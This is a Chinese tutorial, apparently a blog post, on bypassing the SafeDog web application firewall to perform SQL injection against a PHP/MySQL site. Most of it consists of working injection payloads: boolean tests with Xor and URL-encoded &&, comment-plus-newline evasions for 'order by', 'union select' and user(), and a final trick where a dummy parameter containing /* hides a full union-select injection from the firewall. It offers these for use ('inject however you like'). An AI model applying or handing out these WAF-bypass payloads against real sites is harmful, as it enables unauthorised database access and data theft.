绕过安全狗进行SQL注入-终极打狗棍法

绕过安全狗进行SQL注入-终极打狗棍法

都9102年了还在打狗

实验环境

网站安全狗v4.0.2655
Apache/2.4.23
PHP/5.6
mysql 5.7

常规的绕过-打狗棍法第一式

and 1=1和and 1=2被拦截
Xor 1=1和Xor 1=2不拦截
if((1=1),1,2)和if((1=2),1,2)不拦截
使用%26即url编码的&绕过:%26%26 True%26%26 False

order by 绕过-打狗棍法第二式

尝试order内联注释绕过

/**//*!order*//**//*!by*//**//*!1*/

哈哈,失败了,都9102年,还是有长进的嘛

利用换行跳过注释进行绕过

order%23a%0aby 3

%23为#注释,%0a为回车符,意思是:

order#a
by 3

也有用/**/替换空格的:

/**/order/**/%23aaaa%0a/**/by/**/3



字段数为3

union select 绕过-打狗棍法第三式

同样是利用换行跳过注释进行绕过

id=1 %26%26False union%23a%0aselect 1,2,3
id=-1 union%23a%0aselect 1,2,3


user()函数拦截绕过:user%23a%0a()

id=-1 union%23a%0aselect user%23a%0a(),2,3

但是会拦截其他的关键字:version等,显得有些鸡肋

终极打狗棍法

发现安全狗会把/**/之间的内容直接忽略掉,所以就很有意思了,例如如下链接id存在注入:

http://xxxx/index.php?id=1
http://xxxx/index.php?a=/*&id=1 and 1=2 union select version(),2,3%23*/

想怎么注就怎么注

杀狗

参考

https://422926799.github.io/posts/aafbd292.html
https://422926799.github.io/posts/9d8606fc.html
https://blog.csdn.net/he_and/article/details/81287008